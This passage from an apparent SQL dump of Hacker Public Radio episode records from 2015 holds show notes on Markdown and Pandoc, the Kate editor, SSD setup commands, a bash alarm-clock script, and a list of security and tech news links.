what I\'d need to know is how fast do speed listeners listen to their audio.\r\nWhich is probably all over the map, making any effort futile.\r\n</p>\r\n<p>\r\nBut it\'s just a thought I thought I\'d throw out there, along with introducing myself to the HPR audience, and saying thanks to all the people who make HPR possible.\r\n</p>\r\n<p>\r\nThis is a Shadowy Figure signing out.\r\n</p>\r\n',308,0,0,'CC-BY-SA','Speed Listening',0,0,1),
(1832,'2015-08-11','Simplify writing using markdown and pandoc',1288,'How I use Markdown and Pandoc in my writing workflow','<div id=\"header\">\r\n<h1 class=\"title\">My Document Creation workflow using Markdown and Pandoc</h1>\r\n<h2 class=\"author\">b-yeezi</h2>\r\n</div>\r\n<h1 id=\"show-notes\">Show Notes</h1>\r\n<p>I write almost exclusively in Markdown <a href=\"https://daringfireball.net/projects/markdown\">https://daringfireball.net/projects/markdown</a> when writing documents and taking notes. I use the program, Pandoc <a href=\"https://www.pandoc.org\">https://www.pandoc.org</a> to convert markdown to different formats, including odt, docx, and pdf.</p>\r\n<p>The original purpose of Markdown: <a href=\"#fn1\" class=\"footnoteRef\" id=\"fnref1\"><sup>1</sup></a> &gt; Markdown is a text-to-HTML conversion tool for web writers. Markdown allows you to write using an easy-to-read, easy-to-write plain text format, then convert it to structurally valid XHTML (or HTML).</p>\r\n<p>Markdown has since been extended to include more features and functionality. Extended versions include Github-flavored markdown <a href=\"https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet\">https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet</a> and multi-markdown <a href=\"https://fletcherpenney.net/multimarkdown\">https://fletcherpenney.net/multimarkdown</a>.</p>\r\n<p>Some of the basic syntax:</p>\r\n<ul>\r\n<li>Headings - use one or more <code>#</code> to make headings</li>\r\n<li>bold - use <code>__</code> or <code>**</code> for bold</li>\r\n<li>italics - use <code>_</code> or <code>*</code> for italics</li>\r\n<li>hyperlinks - use <code>[text](link)</code> for hyperlinks</li>\r\n<!-- <li>images - `<img src=\"link\" alt=\"alternative text\" /> for images</li> -->\r\n<li>images - <code>![text](link)</code> for images</li>\r\n<li>tables - <pre><code>Head1 | Head2 | Head3</code><br/><code>----- | ----- | -----</code><br/><code>stuff | stuff | stuff</code></pre></li>\r\n<li>lists - use <code>-</code> or <code>*</code> or <code>+</code> at the beginning of a line</li>\r\n<li>quotes and code - ` for single code item, <code>&gt;</code> for block quote, tab for block code, ``` for fenced code. Highlighting is available</li>\r\n</ul>\r\n<p>Pandoc: <a href=\"#fn2\" class=\"footnoteRef\" id=\"fnref2\"><sup>2</sup></a> Pandoc can convert documents in markdown, reStructuredText, textile, HTML, DocBook, LaTeX, MediaWiki markup, TWiki markup, OPML, Emacs Org-Mode, Txt2Tags, Microsoft Word docx, EPUB, or Haddock markup to</p>\r\n<ul>\r\n<li>HTML formats: XHTML, HTML5, and HTML slide shows using Slidy, reveal.js, Slideous, S5, or DZSlides.</li>\r\n<li>Word processor formats: Microsoft Word docx, OpenOffice/LibreOffice ODT, OpenDocument XML</li>\r\n<li>Ebooks: EPUB version 2 or 3, FictionBook2</li>\r\n<li>Documentation formats: DocBook, GNU TexInfo, Groff man pages, Haddock markup</li>\r\n<li>Page layout formats: InDesign ICML</li>\r\n<li>Outline formats: OPML</li>\r\n<li>TeX formats: LaTeX, ConTeXt, LaTeX Beamer slides</li>\r\n<li>PDF via LaTeX</li>\r\n<li>Lightweight markup formats: Markdown (including CommonMark), reStructuredText, AsciiDoc, MediaWiki markup, DokuWiki markup, Emacs Org-Mode, Textile</li>\r\n<li>Custom formats: custom writers can be written in lua</li>\r\n</ul>\r\n<p>I use Ubuntu because it is the only distro that does not bundle pandoc in the haskell libraries. With pandoc, you can specify the template that you are using, so that the same one document can be formatted quickly in many different ways and file formats.</p>\r\n<p>Workflow:</p>\r\n<ol style=\"list-style-type: decimal\">\r\n<li>Write using vim or other text editor. When I was starting, I used a markdown previewer</li>\r\n<li>Create the template for the client</li>\r\n<li>Convert document appropriately</li>\r\n</ol>\r\n<p>Use markdown for:</p>\r\n<ul>\r\n<li>taking notes</li>\r\n<li>creating SOPs</li>\r\n<li>Creating User guides (Image Magick mogrify)</li>\r\n<li>Creating things for my website</li>\r\n</ul>\r\n<p>Other programs and tools:</p>\r\n<ul>\r\n<li>Retext</li>\r\n<li>Haroopad</li>\r\n<li>discount</li>\r\n<li>stackedit.io</li>\r\n<li>atom</li>\r\n<li>texlive for going direct to pdf</li>\r\n</ul>\r\n<div class=\"footnotes\">\r\n<hr />\r\n<ol>\r\n<li id=\"fn1\"><p>from <a href=\"https://daringfireball.net/projects/markdown\">https://daringfireball.net/projects/markdown</a><a href=\"#fnref1\">↩</a></p></li>\r\n<li id=\"fn2\"><p>from <a href=\"https://www.pandoc.org\">https://www.pandoc.org</a><a href=\"#fnref2\">↩</a></p></li>\r\n</ol>\r\n</div>\r\n',300,0,0,'CC-BY-SA','markdown, writing, word processor',0,0,1),
(1840,'2015-08-21','Running external commands in Kate',242,'Using the text filter option in the kate text editor.','<p>\r\nKate is an excellent text editor. The \"Text Filter\"  - enables easy text filtering, which by pressing <strong>Alt + Backslash</strong> pops up a screen that allows you to enter commands.\r\n</p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1840_img.png\" alt=\"popup window showing the command\" />\r\n<p>\r\nSettings &gt; Configure Kate &gt; Plugins &gt; Text Filter\r\n</p>\r\n\r\n<blockquote>\r\nKate (short for KDE Advanced Text Editor) is a text editor developed by KDE. It has been a part of KDE Software Compilation since version 2.2, which was first released in 2001. Geared towards software developers, it features syntax highlighting, code folding, customizable layouts, regular expression support, and extensibility.\r\n</blockquote>\r\n<p>\r\nSource: <a href=\"https://en.wikipedia.org/wiki/Kate_(text_editor)\">https://en.wikipedia.org/wiki/Kate_(text_editor)</a>\r\n</p>\r\n',30,0,0,'CC-BY-SA','kate, plugins, Text Filter',0,0,1),
(1855,'2015-09-11','61 - LibreOffice Impress - Slide Layouts and AutoLayout Text Boxes',1066,'LibreOffice Impress Slide Layouts and components are explored','<p>\r\nWe have spent several tutorials on graphics, including the Themes and the Gallery, and that is all to the good since Impress is a graphical program to some degree. But it also is a way of presenting text content, and it worth a little time to develop that further. Impress does some things with text that resemble other programs like Writer, but it also does some things differently so it is worth a moment to discuss these specifics.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1245\">https://www.ahuka.com/?page_id=1245</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1245\">https://www.ahuka.com/?page_id=1245</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Layouts, AutoLayout, Text Boxes',0,0,1),
(1865,'2015-09-25','62 - LibreOffice Impress - Working With Text Boxes',965,'The use of Text Boxes from the Drawing Toolbar is explored','<p>\r\nText Boxes are considered graphical objects, actually, so they are controlled by the Drawing Object Styles. These can be a little bit confusing because they are shared among different LibreOffice modules, so some of the things you see arent really meant for Impress. For example, there are three Title styles, but none of them are meant for putting titles on slides. They are actually meant for putting titles on drawings, such as engineering drawings. If you you wanted to have a slide title but use Text boxes, you should select the Title Only slide layout. The Title would be controlled by the Title Presentation Style.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1250\">https://www.ahuka.com/?page_id=1250</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=683\">https://www.ahuka.com/?page_id=683</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1465\">https://hackerpublicradio.org/eps.php?id=1465</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1250\">https://www.ahuka.com/?page_id=1250</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Layouts, Text Boxes',0,0,1),
(1850,'2015-09-04','18 - ssh Introduction',1022,'ssh is the secure way of connecting to a remote computer. This is an introduction to a mini-series.','<p>\r\nIn 1995 there was a password-sniffing attack on the network of the University of Helsinki in Finland, and this lead a researcher there, Tatu Ylönen, to create the first SSH implementation. SSH is an acronym for Secure Shell, and expresses the idea that you can securely log in and get a shell on a remote server. This was initially released as free software, but in later versions he took it proprietary. But the developers at OpenBSD decided that a free software implementation was needed, and they created OpenSSH, which is the basis for most implementations today. \r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=722\">https://www.zwilnik.com/?page_id=722</a> \r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Secure_Shell\">https://en.wikipedia.org/wiki/Secure_Shell</a>\r\n</li>\r\n<li><a href=\"https://www.windowsnetworking.com/articles-tutorials/windows-server-2008/install-SSH-Server-Windows-Server-2008.html\">https://www.windowsnetworking.com/articles-tutorials/windows-server-2008/install-SSH-Server-Windows-Server-2008.html</a>\r\n</li>\r\n<li><a href=\"https://www.chiark.greenend.org.uk/~sgtatham/putty/download.html\">https://www.chiark.greenend.org.uk/~sgtatham/putty/download.html</a>\r\n</li>\r\n<li><a href=\"https://www.openssh.com/manual.html\">https://www.openssh.com/manual.html</a>\r\n</li>\r\n<li><a href=\"https://www.tiltedwindmillpress.com/\">https://www.tiltedwindmillpress.com/</a>\r\n</li>\r\n<li><a href=\"https://vimeo.com/54505525\">https://vimeo.com/54505525</a>\r\n</li>\r\n<li><a href=\"https://hak5.org/category/episodes/season_11\">https://hak5.org/category/episodes/season_11</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=722\">https://www.zwilnik.com/?page_id=722</a>\r\n</li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','ssh, Telnet, shell, security',0,0,1),
(1841,'2015-08-24','My way into Linux',576,'From punch cards to Manjaro','<p>\r\nI let espeak describe my way through the world of bits and bytes from the punch cards of our Partnerbrigade to my Manjaro-laptop of today.\r\n</p>',309,29,1,'CC-BY-SA','espeak,East Germany,punched cards,Commodore 64,Atari Mega ST,Macintosh,iMAC,MAC OS,LaTex,Debian,Ubuntu,Mint,Bodhi,ArchBang',0,0,1),
(1837,'2015-08-18','Put an SSD in your Linux Box',1102,'What to check, read, and update if you want to upgrade your Linux PC with an Solid State Disk. ','<p>\r\nSome commands I mentioned that you should check out:\r\n</p>\r\n<p>\r\nCheck SSD disk specs: \r\n</p>\r\n<pre>\r\nsudo hdparm -I /dev/sdb\r\n</pre>\r\n<p>\r\nCheck for TRIM support: \r\n</p>\r\n<pre>\r\nsudo fstrim -v /\r\n</pre>\r\n<p>\r\nPerform TRIM support \r\n</p>\r\n<pre>\r\nsudo hdparm -I /dev/sdb | grep -i TRIM\r\n</pre>\r\n<h3>Detailed SSD Info</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Solid-state_drive#Linux_systems\">https://en.wikipedia.org/wiki/Solid-state_drive#Linux_systems</a>\r\n</li>\r\n<li><a href=\"https://wiki.archlinux.org/index.php/Solid_State_Drives\">https://wiki.archlinux.org/index.php/Solid_State_Drives</a>\r\n</li>\r\n</ul>',285,57,0,'CC-BY-SA','SSD, Linux, BIOS, Update',0,0,1),
(1846,'2015-08-31','UNI-T UT61E Review',1241,'NYbill does a quick review of his favourite multimeter for electronics, the UNI-T UT61E.','<p>\r\nNYbill does a quick review of his favourite multimeter for electronics, the UNI-T UT61E:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/oehy5lf\">https://tinyurl.com/oehy5lf</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nA photo of the inside and outside of the meter:<br />\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/m/uni-t-and-accessries/\"><img width=\"80%\" src=\"https://media.gunmonkeynet.net/mgoblin_media/media_entries/736/unit-t.jpg\" alt=\"picture of the inside of the meter\"/></a>\r\n</p>\r\n<p>\r\nI forgot to mention or show a picture of the data logging cable.  I never use this feature so I tend to forget its there. \r\n</p>\r\n',235,103,1,'CC-BY-SA','multimeter,RMS meter,diode test,auto range',0,0,1),
(1839,'2015-08-20','My \"New\" Used Pickup Truck',1320,'I talk about my pickup truck and doing some repairs and stuff','<h2>My \"New\" Used Pickup Truck</h2>\r\n\r\n<p>After 16 years my wife and I decided to become a 2-vehicle family, and as a result I got myself a 2004 Ford Ranger. In this episode I talk about the process of finding and purchasing the truck, and then about some repairs I did and some other stuff related to it. </p>\r\n\r\n<img width=\"600\" src=\"https://hackerpublicradio.org/eps/hpr1839/truck.jpg\">\r\n',238,0,0,'CC-BY-SA','DIY, automobile',0,0,1),
(1844,'2015-08-27','The Marantz PMD 660 Professional Solid State Recorder',886,'I talk about the recording device I inherited from my mother-in-law and use it to record the show','\r\n<h2>The Marantz PMD 660 Professional Solid State Recorder</h2>\r\n\r\n\r\n<img width=\"500\" src=\"https://hackerpublicradio.org/eps/hpr1844/marantz.jpeg\">\r\n\r\n<p>I inherited a really nice audio recorder and microphone from my mother-in-law recently and in this episode I talk all about it and use the new device to record the show. </p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Review of this device: <a href=\"https://www.fotografics.org/marantz-pmd660.html\">https://www.fotografics.org/marantz-pmd660.html</a>\r\n	</li>\r\n	<li>Audio Technica <a href=\"https://www.audio-technica.com/cms/wired_mics/55f41a58c7f17266/\">ATM710</a> cardioid condenser mic</li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n\r\n\r\n------------------------------------------------------------\r\n',238,0,0,'CC-BY-SA','Digital recorders, audio gear, microphones, podcasting ',0,0,1),
(1833,'2015-08-12','Resurrecting an IBM T40',1248,'I make an attempt to bring a 13 year old laptop back to life','<p>\r\n<img src=\"https://www.thinkwiki.org/w/images/0/0d/ThinkPadT40.jpg\" alt=\"laptop image\" />\r\n</p>\r\n<p>\r\n<a href=\"https://www.thinkwiki.org/wiki/Category:T40\">https://www.thinkwiki.org/wiki/Category:T40</a>\r\n</p>',297,0,0,'CC-BY-SA','ThinkPad T40,PCLinuxOS',0,0,1),
(1838,'2015-08-19','Waking up with Windigo',925,'An overview of a terrible, hacky method of waking up.','This is a quick summary of my alarm clock system, written in bash and highly\r\nunreliable.\r\n\r\n<h3>Hardware</h3>\r\n\r\n<p>\r\nMy preferred hardware platform is a Dell Mini 9.\r\n</p>\r\n\r\n<h3>Software</h3>\r\n\r\n<p>\r\nMy alarm clock is an embarrassing combination of bash scripts and Audacious, my\r\nfavorite media player. Any media player will do, as long as it\'s scriptable.\r\n</p>\r\n\r\n<h3>How It Works</h3>\r\n\r\n<p>\r\nThere are currently two bash scripts in my crappy alarm setup. One script is\r\ncalled \"wakeup\" and the other is called \"wakeup-at\".\r\n</p>\r\n<p>\r\nwakeup is simply a wrapper that adds some error handling around audacious. It\r\nlaunches audacious if it can\'t find an instance running already, waits five\r\nseconds for it to get itself together, and then causes it to play. It is also\r\ncurrently broken, so the \'launching audacious\' part doesn\'t work. I have to\r\nmanually start audacious myself. FAILURE.\r\n</p>\r\n\r\n<h3>wakeup script:</h3>\r\n\r\n<pre>\r\n#!/bin/bash\r\naudacious &amp;\r\n\r\nsleep 5s\r\n\r\naudacious -p &amp;\r\n</pre>\r\n\r\n<p>\r\nYou\'ve noticed that the \"wakeup\" script doesn\'t actually have any timing\r\ninvolved; If you want to use it as an alarm, you get to combine it with the bash\r\n\"sleep\" command. This is not a failure, this is by design! An example alarm:\r\n</p>\r\n\r\n<pre>\r\nsleep 8h; wakeup\r\n</pre>\r\n\r\n<p>\r\nOne problem with this methodology is that it requires math, and is prone to\r\nerrors. If I\'m going to sleep at 10:46:33 PM and need to wake up at 7:00 AM, I\r\nneed to chain sleep commands together for each unit of time:\r\n</p>\r\n\r\n<pre>\r\nsleep 7h; sleep 14m; sleep 27s; wakeup\r\n</pre>\r\n\r\n<p>\r\nGet some of that math wrong, and you wake up at the wrong time. FAILURE.\r\n</p>\r\n<p>\r\n\"wakeup-at\" is a wrapper around \"wakeup\" that uses the \"at\" utility to schedule\r\nthe wakeup script. So, instead of using multiple sleep commands, it accepts any\r\nof the time formats that at accepts:\r\n</p>\r\n\r\n<pre>\r\nwakeup-at 7:00 AM\r\nwakeup-at 6:00AM 2018-02-02\r\nwakeup-at teatime\r\n</pre>\r\n\r\n<p>\r\nHere is the wakeup-at script:\r\n</p>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\n## Make sure we have enough arguments\r\nif [ $# -lt 1 ]\r\nthen\r\n  echo \"Usage: `basename $0` &lt;time&gt;\"\r\n  exit 1\r\nfi\r\n\r\necho \"$@\"\r\n\r\n## Add custom time keywords\r\ncase \"$1\" in\r\n\"eternaldarkness\")\r\n	echo wakeup | at 3:33 AM\r\n	;;\r\n\r\n## Catch-all; send all arguments to at\r\n*)\r\n	echo wakeup | at $@\r\n	;;\r\nesac\r\n</pre>\r\n<p>\r\nIf you make a syntax error, \"at\" tells you about it immediately. Its only\r\nfailings are what it inherits from the original \"wakeup\" script.\r\n</p>\r\n',196,42,0,'CC-BY-SA','bash, scripting, terrible',0,0,1),
(1842,'2015-08-25','TiT Radio 20 You\'ve Been Pwned (probably)',7543,'While Peter is on walkabout, TiT Radio returns for a very short engagement','<p>\r\nLongtime listeners of Hacker Public Radio will remember \'TiT Radio\', a semi-weekly FOSS \"news\" and commentary show that appeared on HPR, recorded by the cast of \"Linux Cranks\" on the off schedule weeks.  \"Linux Cranks\" eventually morphed into the \"Kernel Panic Oggcast\".  While Peter is on walkabout, the cast of KPO has resurrected \"Tit Radio\" on a temporary basis.  The listener is cautioned, while KPO is family friendly, \"TiT Radio\" makes no such commitment. Please join netminer, FiftyOneFifty, and pegwole as they drag you down the rabbit hole that has always been \"TiT Radio\".\r\n</p>\r\n<p>\r\nOur show topics were drawn from these links.  Not all these topics made it into the show, but feel free to browse anyway:\r\n</p>\r\n\r\n<ul>\r\n<li>Jeep remotely pwned, 5150 feels vindicated <a href=\"https://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway\">https://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway</a> <a href=\"https://www.zdnet.com/article/chrysler-recalls-1-4m-vehicles-at-risk-of-remote-hack/\">https://www.zdnet.com/article/chrysler-recalls-1-4m-vehicles-at-risk-of-remote-hack/</a>\r\n</li>\r\n<li>Mac users plagued by pop-up urging them to call a fake tech support number <a href=\"https://blog.malwarebytes.org/fraud-scam/2014/12/mac-users-beware-of-increased-tech-support-scam-pop-ups/\">https://blog.malwarebytes.org/fraud-scam/2014/12/mac-users-beware-of-increased-tech-support-scam-pop-ups/</a>\r\n</li>\r\n<li>Use an RPi to block ads <a href=\"https://jacobsalmela.com/block-millions-ads-network-wide-with-a-raspberry-pi-hole-2-0\">https://jacobsalmela.com/block-millions-ads-network-wide-with-a-raspberry-pi-hole-2-0</a>\r\n</li>\r\n<li>Networked monkey brains <a href=\"https://www.livescience.com/51496-animal-brains-linked-into-networks.html\">https://www.livescience.com/51496-animal-brains-linked-into-networks.html</a>\r\n</li>\r\n<li>Bacteria controlled robots <a href=\"https://www.youtube.com/watch?v=NDnXv6rqj2Q&amp;index=21&amp;list=WL\">https://www.youtube.com/watch?v=NDnXv6rqj2Q&amp;index=21&amp;list=WL</a>\r\n</li>\r\n<li>Psensor monitors your hardware temps <a href=\"https://www.tecmint.com/psensor-monitors-hardware-temperature-in-linux/\">https://www.tecmint.com/psensor-monitors-hardware-temperature-in-linux/</a>\r\n</li>\r\n<li>Facebook asks for a date to kill Flash <a href=\"https://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso\">https://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso</a>\r\n</li>\r\n<li>Details of second Flash zero day leaked by Cyberteam <a href=\"https://thehackernews.com/2015/07/hacking-flash-player-exploit.html\">https://thehackernews.com/2015/07/hacking-flash-player-exploit.html</a>\r\n</li>\r\n<li>Mozilla blocks Flash in FF <a href=\"https://www.theverge.com/2015/7/14/8957177/mozilla-blocks-flash-as-facebook-security-chief-calls-for-its-death\">https://www.theverge.com/2015/7/14/8957177/mozilla-blocks-flash-as-facebook-security-chief-calls-for-its-death</a>\r\n</li>\r\n<li>Did the U.S. Government Kill ProxyHam <a href=\"https://www.businessinsider.com/proxyham-anonymising-router-project-mysteriously-closed-down-government-rhino-caudill-2015-7\">https://www.businessinsider.com/proxyham-anonymising-router-project-mysteriously-closed-down-government-rhino-caudill-2015-7</a>\r\n</li>\r\n<li>NSA releases open-source network protection tools <a href=\"https://www.itnews.com.au/News/406509,nsa-releases-linux-based-open-source-infosec-tool.aspx\">https://www.itnews.com.au/News/406509,nsa-releases-linux-based-open-source-infosec-tool.aspx</a>\r\n</li>\r\n<li>Drones banned above All-Star game, also talk about CA wildfire <a href=\"https://arstechnica.com/tech-policy/2015/07/cincinnati-tells-fans-no-drones-at-tonights-all-star-game/\">https://arstechnica.com/tech-policy/2015/07/cincinnati-tells-fans-no-drones-at-tonights-all-star-game/</a>\r\n</li>\r\n<li>MS fixes Windows and IE zero days <a href=\"https://arstechnica.com/security/2015/07/ms-kills-critical-ie-11-bug-after-exploit-was-shopped-to-hacking-team/\">https://arstechnica.com/security/2015/07/ms-kills-critical-ie-11-bug-after-exploit-was-shopped-to-hacking-team/</a>\r\n</li>\r\n<li>92% of all smart phone profits go to Apple <a href=\"https://arstechnica.com/apple/2015/07/apple-makes-92-percent-of-all-smartphone-profits/\">https://arstechnica.com/apple/2015/07/apple-makes-92-percent-of-all-smartphone-profits/</a>\r\n</li>\r\n<li>Commodore phone <a href=\"https://www.engadget.com/2015/07/14/commodore-phone/\">https://www.engadget.com/2015/07/14/commodore-phone/</a>\r\n</li>\r\n<li>Natron is a new open source compositor <a href=\"https://opensource.com/life/15/7/getting-started-with-natron\">https://opensource.com/life/15/7/getting-started-with-natron</a>\r\n</li>\r\n<li>Real life Mechwarrior <a href=\"https://www.zdnet.com/article/giant-man-piloted-robots-to-slug-it-out-in-international-grudge-match/\">https://www.zdnet.com/article/giant-man-piloted-robots-to-slug-it-out-in-international-grudge-match/</a>\r\n</li>\r\n<li>SUSE to deliver ARM servers <a href=\"https://www.zdnet.com/article/suse-to-deliver-suse-linux-for-arm-servers/\">https://www.zdnet.com/article/suse-to-deliver-suse-linux-for-arm-servers/</a>\r\n</li>\r\n<li>CERN discovers new sub atomic particle <a href=\"https://gizmodo.com/the-lhc-has-discovered-a-new-exotic-particle-called-a-p-1717676181?utm_campaign=socialflow_gizmodo_facebook&amp;utm_source=gizmodo_facebook&amp;utm_medium=socialflow\">https://gizmodo.com/the-lhc-has-discovered-a-new-exotic-particle-called-a-p-1717676181?utm_campaign=socialflow_gizmodo_facebook&amp;utm_source=gizmodo_facebook&amp;utm_medium=socialflow</a>\r\n</li>\r\n<li>team of volunteers from Reddit are crowdsourcing the development of the worlds first medical-grade open source prosthesis <a href=\"https://all3dp.com/wevolver-crowdsources-hackberry-3d-printed-prosthesis/\">https://all3dp.com/wevolver-crowdsources-hackberry-3d-printed-prosthesis/</a>\r\n</li>\r\n<li>Let\'s see if we can get pewole to say \"Siri, charge 100%\" <a href=\"https://www.theverge.com/2015/7/16/8976281/siri-charge-100-percent-emergency-services\">https://www.theverge.com/2015/7/16/8976281/siri-charge-100-percent-emergency-services</a>\r\n</li>\r\n<li>Linux creator not afraid of AI <a href=\"https://nakedsecurity.sophos.com/2015/07/13/linux-creator-linus-torvalds-pooh-poohs-fears-over-artificial-intelligence/?utm_source=Naked%2520Security%2520-%2520Feed&amp;utm_medium=feed&amp;utm_content=rss2&amp;utm_campaign=Feed\">https://nakedsecurity.sophos.com/2015/07/13/linux-creator-linus-torvalds-pooh-poohs-fears-over-artificial-intelligence/?utm_source=Naked%2520Security%2520-%2520Feed&amp;utm_medium=feed&amp;utm_content=rss2&amp;utm_campaign=Feed</a>\r\n</li>\r\n<li>FBI used Hack-Team to find TOR user <a href=\"https://www.zdnet.com/article/fbi-used-hacking-team-services-to-unmask-tor-user/\">https://www.zdnet.com/article/fbi-used-hacking-team-services-to-unmask-tor-user/</a>\r\n</li>\r\n<li>Updates can\'t be disabled in Windows 10 Home <a href=\"https://lifehacker.com/windows-10-home-updates-will-be-automatic-and-mandatory-1718476904\">https://lifehacker.com/windows-10-home-updates-will-be-automatic-and-mandatory-1718476904</a>\r\n</li>\r\n<li>Apple pushes targeted advertising based on credit balance <a href=\"https://www.forbes.com/sites/theopriestley/2015/07/18/apple-ads-based-on-your-credit-balance-pushes-privacy-beyond-the-limit/\">https://www.forbes.com/sites/theopriestley/2015/07/18/apple-ads-based-on-your-credit-balance-pushes-privacy-beyond-the-limit/</a>\r\n</li>\r\n<li>Google still uploads the pics you\'ve deleted <a href=\"https://www.engadget.com/2015/07/13/deleting-google-photos-wont-stop-your-phone-from-uploading-pict\">https://www.engadget.com/2015/07/13/deleting-google-photos-wont-stop-your-phone-from-uploading-pict</a>\r\n</li>\r\n<li>But it\'s OK, since Google Photos is going away <a href=\"https://techcrunch.com/2015/07/20/google-photos-is-shutting-down-on-august-1st\">https://techcrunch.com/2015/07/20/google-photos-is-shutting-down-on-august-1st</a>\r\n</li>\r\n<li>Shockingly, Red Star Linux contains content trackers <a href=\"https://www.theregister.co.uk/2015/07/20/north_korea_red_star_linux_inserts_sneaky_serial_content_tracker\">https://www.theregister.co.uk/2015/07/20/north_korea_red_star_linux_inserts_sneaky_serial_content_tracker</a>\r\n</li>\r\n<li>Israeli court finds Google responsible for misinterpreted search results\r\n</li>\r\n<li><a href=\"https://www.timesofisrael.com/court-mks-google-responsible-for-preventing-trash-talk/\">https://www.timesofisrael.com/court-mks-google-responsible-for-preventing-trash-talk/</a>\r\n</li>\r\n<li>Adultery site pwned <a href=\"https://bigstory.ap.org/article/f9f502126fd845fdba191e5e11c55b52/cheating-website-ashley-madison-hacked-personal-info-posted\">https://bigstory.ap.org/article/f9f502126fd845fdba191e5e11c55b52/cheating-website-ashley-madison-hacked-personal-info-posted</a>\r\n</li>\r\n<li>FTC says LifeLock still inadequately protecting customer data <a href=\"https://www.wired.com/2015/07/lifelock-failed-one-job-protecting-data/\">https://www.wired.com/2015/07/lifelock-failed-one-job-protecting-data/</a>\r\n</li>\r\n<li>Bug found in SSH <a href=\"https://arstechnica.com/security/2015/07/bug-in-widely-used-openssh-opens-servers-to-password-cracking/\">https://arstechnica.com/security/2015/07/bug-in-widely-used-openssh-opens-servers-to-password-cracking/</a>\r\n</li>\r\n<li>Future personal devices may be human powered <a href=\"https://arstechnica.com/science/2015/07/your-body-the-battery-powering-gadgets-from-human-biofuel\">https://arstechnica.com/science/2015/07/your-body-the-battery-powering-gadgets-from-human-biofuel</a>\r\n</li>\r\n<li>Google to release a container management system <a href=\"https://www.zdnet.com/article/google-releases-kubernetes-1-0/?adSession=g\">https://www.zdnet.com/article/google-releases-kubernetes-1-0/?adSession=g</a>\r\n</li>\r\n<li>Docker implemented in 100 lines of bash <a href=\"https://github.com/p8952/bocker\">https://github.com/p8952/bocker</a>\r\n</li>\r\n<li>Man receives first bionic eye <a href=\"https://arstechnica.com/science/2015/07/british-man-receives-worlds-first-bionic-eye-implant-for-macular-degeneration/\">https://arstechnica.com/science/2015/07/british-man-receives-worlds-first-bionic-eye-implant-for-macular-degeneration/</a>\r\n</li>\r\n<li>Is a cheap Nexus Fi Phone on the way? <a href=\"https://phandroid.com/2015/04/24/google-nexus-fi-budget/\">https://phandroid.com/2015/04/24/google-nexus-fi-budget/</a>\r\n</li>\r\n<li>Bug that allows attacker root access to Mac requires local access <a href=\"https://arstechnica.com/security/2015/07/bug-in-latest-version-of-os-x-gives-attackers-unfettered-root-privileges/\">https://arstechnica.com/security/2015/07/bug-in-latest-version-of-os-x-gives-attackers-unfettered-root-privileges/</a>\r\n</li>\r\n<li>Movie makers asking Yahoo for take down notices against their own computers <a href=\"https://thenextweb.com/insider/2015/07/23/hahahahahahahaha\">https://thenextweb.com/insider/2015/07/23/hahahahahahahaha</a>\r\n</li>\r\n<li>Wichita LUG teaches Linux to children <a href=\"https://www.kansas.com/news/local/article28346635.html\">https://www.kansas.com/news/local/article28346635.html</a>\r\n</li>\r\n<li>Australian security agency wants audits on Telcos security measures <a href=\"https://www.zdnet.com/article/telcos-hit-back-against-national-security-law-proposal/\">https://www.zdnet.com/article/telcos-hit-back-against-national-security-law-proposal/</a>\r\n</li>\r\n<li>Replace your car\'s infotainment system with an Android ap <a href=\"https://arstechnica.com/cars/2015/07/android-auto-review-a-beautiful-but-beta-alternative-to-awful-oem-solutions/\">https://arstechnica.com/cars/2015/07/android-auto-review-a-beautiful-but-beta-alternative-to-awful-oem-solutions/</a>\r\n</li>\r\n<li>Flaw in Intel CPUs allows rootkit that bypasses Secure Boot <a href=\"https://www.itworld.com/article/2965875/security/design-flaw-in-intel-processors-opens-door-to-rootkits-researcher-says.html\">https://www.itworld.com/article/2965875/security/design-flaw-in-intel-processors-opens-door-to-rootkits-researcher-says.html</a>\r\n</li>\r\n<li>Malware can trap Android into endless reboot loop <a href=\"https://thehackernews.com/2015/08/android-endless-reboot-bug.html\">https://thehackernews.com/2015/08/android-endless-reboot-bug.html</a>\r\n</li>\r\n<li>Drone delivers drugs to an Ohio prison  <a href=\"https://www.cnn.com/2015/08/04/us/prison-yard-drone-drugs-ohio/\">https://www.cnn.com/2015/08/04/us/prison-yard-drone-drugs-ohio/</a>\r\n</li>\r\n<li>Self 